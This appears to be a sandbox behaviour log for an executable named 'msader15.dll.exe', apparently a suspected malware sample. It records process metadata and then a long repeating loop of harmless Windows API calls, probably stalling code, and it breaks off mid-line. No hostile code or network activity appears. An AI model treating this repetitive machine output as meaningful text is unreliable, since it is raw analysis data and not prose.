# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Jan 15 2020 08:26:44 # Log Creation Date: 21.01.2020 07:56:42.589 Process: id = "1" image_name = "msader15.dll.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\msader15.dll.exe" page_root = "0x3435a000" os_pid = "0x8b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb78 [0027.535] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe\" " [0027.535] GetProcessVersion (ProcessId=0xca9) returned 0x0 [0027.535] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.535] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.536] IsCharLowerA (ch=32) returned 0 [0027.536] CountClipboardFormats () returned 4 [0027.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.536] IsCharLowerA (ch=33) returned 0 [0027.536] CountClipboardFormats () returned 4 [0027.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.536] IsCharLowerA (ch=34) returned 0 [0027.536] CountClipboardFormats () returned 4 [0027.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.536] IsCharLowerA (ch=35) returned 0 [0027.536] CountClipboardFormats () returned 4 [0027.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.536] IsCharLowerA (ch=36) returned 0 [0027.536] CountClipboardFormats () returned 4 [0027.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.536] IsCharLowerA (ch=37) returned 0 [0027.536] CountClipboardFormats () returned 4 [0027.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.536] IsCharLowerA (ch=38) returned 0 [0027.536] CountClipboardFormats () returned 4 [0027.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.536] IsCharLowerA (ch=39) returned 0 [0027.536] CountClipboardFormats () returned 4 [0027.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.537] IsCharLowerA (ch=40) returned 0 [0027.537] CountClipboardFormats () returned 4 [0027.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.537] IsCharLowerA (ch=41) returned 0 [0027.537] CountClipboardFormats () returned 4 [0027.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.537] IsCharLowerA (ch=42) returned 0 [0027.537] CountClipboardFormats () returned 4 [0027.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.537] IsCharLowerA (ch=43) returned 0 [0027.537] CountClipboardFormats () returned 4 [0027.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.537] IsCharLowerA (ch=44) returned 0 [0027.537] CountClipboardFormats () returned 4 [0027.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.537] IsCharLowerA (ch=45) returned 0 [0027.537] CountClipboardFormats () returned 4 [0027.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.537] IsCharLowerA (ch=46) returned 0 [0027.537] CountClipboardFormats () returned 4 [0027.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.537] IsCharLowerA (ch=47) returned 0 [0027.537] CountClipboardFormats () returned 4 [0027.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.537] IsCharLowerA (ch=48) returned 0 [0027.537] CountClipboardFormats () returned 4 [0027.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.538] IsCharLowerA (ch=49) returned 0 [0027.538] CountClipboardFormats () returned 4 [0027.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.538] IsCharLowerA (ch=50) returned 0 [0027.538] CountClipboardFormats () returned 4 [0027.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.538] IsCharLowerA (ch=51) returned 0 [0027.538] CountClipboardFormats () returned 4 [0027.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.538] IsCharLowerA (ch=52) returned 0 [0027.538] CountClipboardFormats () returned 4 [0027.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.538] IsCharLowerA (ch=53) returned 0 [0027.538] CountClipboardFormats () returned 4 [0027.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.538] IsCharLowerA (ch=54) returned 0 [0027.538] CountClipboardFormats () returned 4 [0027.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.538] IsCharLowerA (ch=55) returned 0 [0027.538] CountClipboardFormats () returned 4 [0027.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.538] IsCharLowerA (ch=56) returned 0 [0027.538] CountClipboardFormats () returned 4 [0027.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.538] IsCharLowerA (ch=57) returned 0 [0027.538] CountClipboardFormats () returned 4 [0027.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.539] IsCharLowerA (ch=58) returned 0 [0027.539] CountClipboardFormats () returned 4 [0027.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.539] IsCharLowerA (ch=59) returned 0 [0027.539] CountClipboardFormats () returned 4 [0027.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.539] IsCharLowerA (ch=60) returned 0 [0027.539] CountClipboardFormats () returned 4 [0027.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.539] IsCharLowerA (ch=61) returned 0 [0027.539] CountClipboardFormats () returned 4 [0027.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.539] IsCharLowerA (ch=62) returned 0 [0027.539] CountClipboardFormats () returned 4 [0027.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.539] IsCharLowerA (ch=63) returned 0 [0027.539] CountClipboardFormats () returned 4 [0027.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.539] IsCharLowerA (ch=32) returned 0 [0027.539] CountClipboardFormats () returned 4 [0027.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.540] IsCharLowerA (ch=33) returned 0 [0027.540] CountClipboardFormats () returned 4 [0027.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.540] IsCharLowerA (ch=34) returned 0 [0027.540] CountClipboardFormats () returned 4 [0027.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.540] IsCharLowerA (ch=35) returned 0 [0027.540] CountClipboardFormats () returned 4 [0027.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.540] IsCharLowerA (ch=36) returned 0 [0027.540] CountClipboardFormats () returned 4 [0027.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.540] IsCharLowerA (ch=37) returned 0 [0027.540] CountClipboardFormats () returned 4 [0027.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.540] IsCharLowerA (ch=38) returned 0 [0027.540] CountClipboardFormats () returned 4 [0027.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.540] IsCharLowerA (ch=39) returned 0 [0027.540] CountClipboardFormats () returned 4 [0027.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.540] IsCharLowerA (ch=40) returned 0 [0027.540] CountClipboardFormats () returned 4 [0027.540] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.540] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.540] IsCharLowerA (ch=41) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.541] IsCharLowerA (ch=42) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.541] IsCharLowerA (ch=43) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.541] IsCharLowerA (ch=44) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.541] IsCharLowerA (ch=45) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.541] IsCharLowerA (ch=46) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.541] IsCharLowerA (ch=47) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.541] IsCharLowerA (ch=48) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.541] IsCharLowerA (ch=49) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.541] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.541] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.541] IsCharLowerA (ch=50) returned 0 [0027.541] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.542] IsCharLowerA (ch=51) returned 0 [0027.542] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.542] IsCharLowerA (ch=52) returned 0 [0027.542] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.542] IsCharLowerA (ch=53) returned 0 [0027.542] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.542] IsCharLowerA (ch=54) returned 0 [0027.542] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.542] IsCharLowerA (ch=55) returned 0 [0027.542] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.542] IsCharLowerA (ch=56) returned 0 [0027.542] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.542] IsCharLowerA (ch=57) returned 0 [0027.542] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.542] IsCharLowerA (ch=58) returned 0 [0027.542] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.542] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.542] IsCharLowerA (ch=59) returned 0 [0027.542] CountClipboardFormats () returned 4 [0027.542] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.543] IsCharLowerA (ch=60) returned 0 [0027.543] CountClipboardFormats () returned 4 [0027.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.543] IsCharLowerA (ch=61) returned 0 [0027.543] CountClipboardFormats () returned 4 [0027.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.543] IsCharLowerA (ch=62) returned 0 [0027.543] CountClipboardFormats () returned 4 [0027.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.543] IsCharLowerA (ch=63) returned 0 [0027.543] CountClipboardFormats () returned 4 [0027.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.543] IsCharLowerA (ch=32) returned 0 [0027.543] CountClipboardFormats () returned 4 [0027.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.543] IsCharLowerA (ch=33) returned 0 [0027.543] CountClipboardFormats () returned 4 [0027.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.543] IsCharLowerA (ch=34) returned 0 [0027.543] CountClipboardFormats () returned 4 [0027.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.543] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.543] IsCharLowerA (ch=35) returned 0 [0027.543] CountClipboardFormats () returned 4 [0027.543] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.544] IsCharLowerA (ch=36) returned 0 [0027.544] CountClipboardFormats () returned 4 [0027.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.544] IsCharLowerA (ch=37) returned 0 [0027.544] CountClipboardFormats () returned 4 [0027.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.544] IsCharLowerA (ch=38) returned 0 [0027.544] CountClipboardFormats () returned 4 [0027.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.544] IsCharLowerA (ch=39) returned 0 [0027.544] CountClipboardFormats () returned 4 [0027.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.544] IsCharLowerA (ch=40) returned 0 [0027.544] CountClipboardFormats () returned 4 [0027.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.544] IsCharLowerA (ch=41) returned 0 [0027.544] CountClipboardFormats () returned 4 [0027.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.544] IsCharLowerA (ch=42) returned 0 [0027.544] CountClipboardFormats () returned 4 [0027.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.544] IsCharLowerA (ch=43) returned 0 [0027.544] CountClipboardFormats () returned 4 [0027.544] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.544] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.544] IsCharLowerA (ch=44) returned 0 [0027.545] CountClipboardFormats () returned 4 [0027.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.545] IsCharLowerA (ch=45) returned 0 [0027.545] CountClipboardFormats () returned 4 [0027.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.545] IsCharLowerA (ch=46) returned 0 [0027.545] CountClipboardFormats () returned 4 [0027.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.545] IsCharLowerA (ch=47) returned 0 [0027.545] CountClipboardFormats () returned 4 [0027.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.545] IsCharLowerA (ch=48) returned 0 [0027.545] CountClipboardFormats () returned 4 [0027.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.545] IsCharLowerA (ch=49) returned 0 [0027.545] CountClipboardFormats () returned 4 [0027.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.545] IsCharLowerA (ch=50) returned 0 [0027.545] CountClipboardFormats () returned 4 [0027.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.545] IsCharLowerA (ch=51) returned 0 [0027.545] CountClipboardFormats () returned 4 [0027.545] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.545] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.545] IsCharLowerA (ch=52) returned 0 [0027.545] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.546] IsCharLowerA (ch=53) returned 0 [0027.546] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.546] IsCharLowerA (ch=54) returned 0 [0027.546] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.546] IsCharLowerA (ch=55) returned 0 [0027.546] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.546] IsCharLowerA (ch=56) returned 0 [0027.546] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.546] IsCharLowerA (ch=57) returned 0 [0027.546] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.546] IsCharLowerA (ch=58) returned 0 [0027.546] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.546] IsCharLowerA (ch=59) returned 0 [0027.546] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.546] IsCharLowerA (ch=60) returned 0 [0027.546] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.546] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.546] IsCharLowerA (ch=61) returned 0 [0027.546] CountClipboardFormats () returned 4 [0027.546] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.547] IsCharLowerA (ch=62) returned 0 [0027.547] CountClipboardFormats () returned 4 [0027.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.547] IsCharLowerA (ch=63) returned 0 [0027.547] CountClipboardFormats () returned 4 [0027.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.547] IsCharLowerA (ch=32) returned 0 [0027.547] CountClipboardFormats () returned 4 [0027.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.547] IsCharLowerA (ch=33) returned 0 [0027.547] CountClipboardFormats () returned 4 [0027.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.547] IsCharLowerA (ch=34) returned 0 [0027.547] CountClipboardFormats () returned 4 [0027.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.547] IsCharLowerA (ch=35) returned 0 [0027.547] CountClipboardFormats () returned 4 [0027.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.547] IsCharLowerA (ch=36) returned 0 [0027.547] CountClipboardFormats () returned 4 [0027.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.547] IsCharLowerA (ch=37) returned 0 [0027.547] CountClipboardFormats () returned 4 [0027.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.547] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.547] IsCharLowerA (ch=38) returned 0 [0027.547] CountClipboardFormats () returned 4 [0027.547] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.548] IsCharLowerA (ch=39) returned 0 [0027.548] CountClipboardFormats () returned 4 [0027.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.548] IsCharLowerA (ch=40) returned 0 [0027.548] CountClipboardFormats () returned 4 [0027.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.548] IsCharLowerA (ch=41) returned 0 [0027.548] CountClipboardFormats () returned 4 [0027.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.548] IsCharLowerA (ch=42) returned 0 [0027.548] CountClipboardFormats () returned 4 [0027.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.548] IsCharLowerA (ch=43) returned 0 [0027.548] CountClipboardFormats () returned 4 [0027.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.548] IsCharLowerA (ch=44) returned 0 [0027.548] CountClipboardFormats () returned 4 [0027.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.548] IsCharLowerA (ch=45) returned 0 [0027.548] CountClipboardFormats () returned 4 [0027.548] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.548] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 